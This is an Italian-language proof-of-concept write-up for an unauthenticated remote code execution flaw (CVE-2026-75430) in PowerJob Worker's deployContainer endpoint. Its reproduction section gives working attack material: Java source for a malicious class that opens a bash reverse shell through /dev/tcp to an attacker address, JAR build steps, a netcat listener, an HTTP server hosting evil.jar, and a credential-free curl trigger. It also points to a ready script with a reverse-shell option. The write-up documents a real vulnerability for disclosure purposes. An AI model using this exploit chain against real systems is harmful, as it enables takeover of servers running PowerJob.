
Proof-of-concept exploit per CVE-2026-75430, che consente l'esecuzione remota di codice non autenticata su PowerJob Worker tramite il caricamento arbitrario di JAR attraverso l'endpoint deployContainer.
/worker/deployContainer (Caricamento Arbitrario di JAR)Il Worker di PowerJob espone l'handler deployContainer sulla propria porta di trasporto HTTP 27777 senza alcuna autenticazione. Un attaccante invia un URL arbitrario; il Worker scarica quel JAR e lo carica tramite URLClassLoader + Spring ClassPathXmlApplicationContext, eseguendo codice arbitrario durante l'init-method di Spring → RCE sul Worker. Il docker-compose predefinito pubblica questa porta sull'host.
Precondizione (dichiarazione onesta): il Worker deve essere in esecuzione (porta 27777 in ascolto). Nella configurazione predefinita, il Worker verifica all'avvio che la propria app sia registrata sul server (/server/assert); se l'app non è registrata, il Worker non si avvia e la porta 27777 non è in ascolto (verificato: il processo Java termina con codice 1). Pertanto, uno stato strettamente "fresco" di docker-compose up senza configurazione della console non è direttamente sfruttabile. Tuttavia, il normale funzionamento di PowerJob richiede necessariamente che l'app sia registrata e che il Worker sia online (altrimenti il sistema non pianifica alcun job), quindi qualsiasi distribuzione effettivamente in uso soddisfa intrinsecamente la precondizione, dopodiché lo sfruttamento avviene senza credenziali. Al contrario, il risultato correlato PJ-08 (server /friend/process) non ha tale precondizione — il server si lega alla porta 10010 all'avvio incondizionatamente.
powerjob-worker, distribuito tramite l'immagine ufficiale powerjob-worker-samples)docker-compose.yml, protocollo HTTP, porta 27777 (PowerJobWorkerConfig.java:34)| Elemento | Valore |
|---|---|
| Punto di ingresso | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), nessuna autenticazione) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Caricamento | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Corpo della richiesta ServerDeployContainerRequest (campi containerId/containerName/version/downloadURL).
WorkerActor si fida completamente di downloadURL.OmsContainerFactory scarica il JAR da un URL arbitrario e chiama immediatamente OmsJarContainer.init(): caricamento URLClassLoader + refresh() del contesto Spring → il codice dannoso viene eseguito durante l'inizializzazione della classe/Bean.Precondizione: il Worker è in esecuzione e la porta 27777 è in ascolto (soddisfatta da qualsiasi distribuzione di produzione/demo; se l'operatore ha seguito il flusso ufficiale e ha creato l'app di esempio, il Worker è online). Per la riproduzione, il Worker può essere avviato con --powerjob.worker.allow-lazy-connect-server=true per saltare il controllo di registrazione dell'app (non consigliato in produzione; si noti che l'opzione influisce solo sul fatto che il Worker vada online — non modifica l'assenza di autenticazione sulla porta aperta).
OmsJarContainer.init()):
oms-worker-container.properties con PACKAGE_NAME=com.evilcom/evil/Exploit.class — una classe che espone un init-method di Spring (es. run()) che esegue un comandooms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer alla porta del Worker 27777 con il corpo {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() carica la classe (non esegue gli inizializzatori statici), quindi ClassPathXmlApplicationContext.refresh() istanzia il bean e invoca l'init-method → esecuzione arbitraria di comandi (con i privilegi di runtime del Worker).AbstractScriptProcessor.java:118-123 supporta anche il download da un URL arbitrario → SSRF lato Worker.Nessun echo di output: l'handler
deployContainerrestituiscevoid, quindi la risposta HTTP non contiene l'output del comando (verificato: corpo vuoto). Per l'esecuzione interattiva di comandi la tecnica principale è una reverse shell (vedere Riproduzione di seguito); la variante con file marcatore è solo una verifica locale non interattiva.
Ambiente: JDK 21, powerjob-worker-samples-5.1.2.jar compilato dal sorgente, Worker in ascolto su 192.168.49.128:27777 (avviato con --powerjob.worker.allow-lazy-connect-server=true per saltare la registrazione dell'app).
Principale — reverse shell (esecuzione interattiva di comandi):
Il Exploit.run() del JAR dannoso (init-method di Spring) genera una reverse shell. Poiché non vi è alcun echo di output, questo è il modo efficace per ottenere l'esecuzione interattiva di comandi sull'host del Worker.
# 1) L'attaccante ascolta per primo:
nc -lvnp 7878
# 2) Costruzione del JAR dannoso — Exploit.run() esegue una reverse shell bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # ospita evil.jar
# 3) Attivazione (nessuna credenziale):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
In alternativa, utilizzare lo script per la verifica: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Punto chiave del PoC:
OhMyClassLoader.load()chiama sololoadClass(), che non esegue gli inizializzatori statici; il punto di esecuzione effettivo è l'init-method di Spring invocato daClassPathXmlApplicationContext.refresh(). Il JAR dannoso deve quindi contenere l'XML di Spring e dichiarareinit-method. La reverse shell deve essere eseguita tramite/bin/bash -cperché/bin/sh(dash) non interpreta/dev/tcp.